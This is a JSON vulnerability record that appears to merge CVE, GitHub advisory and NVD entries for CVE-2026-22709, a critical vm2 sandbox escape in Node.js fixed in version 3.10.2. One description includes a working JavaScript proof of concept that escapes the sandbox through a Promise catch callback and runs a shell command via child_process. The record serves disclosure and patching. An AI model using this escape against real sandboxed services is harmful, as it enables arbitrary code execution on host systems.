{"id":"CVE-2026-22709","aliases":["CVE-2026-22709","GHSA-99p7-6v5w-7xg8"],"related":[],"kind":"vulnerability","state":"published","title":"vm2 has a Sandbox Escape","summary":"vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.","source":"cvelist"},{"lang":"en","text":"In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () => error.stack;\nconst promise = f();\npromise.catch(e => {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.","format":"markdown","source":"ghsa"},{"lang":"es","text":"vm2 es una vm/sandbox de código abierto para Node.js. En vm2, en versiones anteriores a la 3.10.2, la sanitización de las devoluciones de llamada de `Promise.prototype.then` `Promise.prototype.catch` puede ser eludida. Esto permite a los atacantes escapar de la sandbox y ejecutar código arbitrario. En lib/setup-sandbox.js, la función de devolución de llamada de `localPromise.prototype.then` es sanitizada, pero `globalPromise.prototype.then` no es sanitizada. El valor de retorno de las funciones asíncronas es un objeto `globalPromise`. La versión 3.10.2 corrige el problema.","source":"nvd"}],"published":"2026-01-26T18:57:14.000Z","modified":"2026-06-17T10:20:16.550Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"}],"cwes":["CWE-94","CWE-693","CWE-913"],"affected":[{"ranges":[{"version":"< 3.10.2","status":"affected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.10.2"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.10.2"}],"vendor":"vm2_project","product":"vm2","cpe":"cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.2","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22709","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2026-01-27T21:42:17.760Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-22709","url":"https://www.cve.org/CVERecord?id=CVE-2026-22709","licence":"CVE Terms of Use","modified":"2026-01-27T21:42:27.920Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-99p7-6v5w-7xg8","url":"https://github.com/advisories/GHSA-99p7-6v5w-7xg8","licence":"CC-BY-4.0","modified":"2026-02-03T03:05:10.011Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-22709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22709","licence":"Public domain","modified":"2026-06-17T10:20:16.550Z"}],"updatedAt":"2026-11-25T22:59:13.196Z","epss":{"score":0.0127,"percentile":0.70642,"date":"2026-12-01T12:00:22.000Z"}}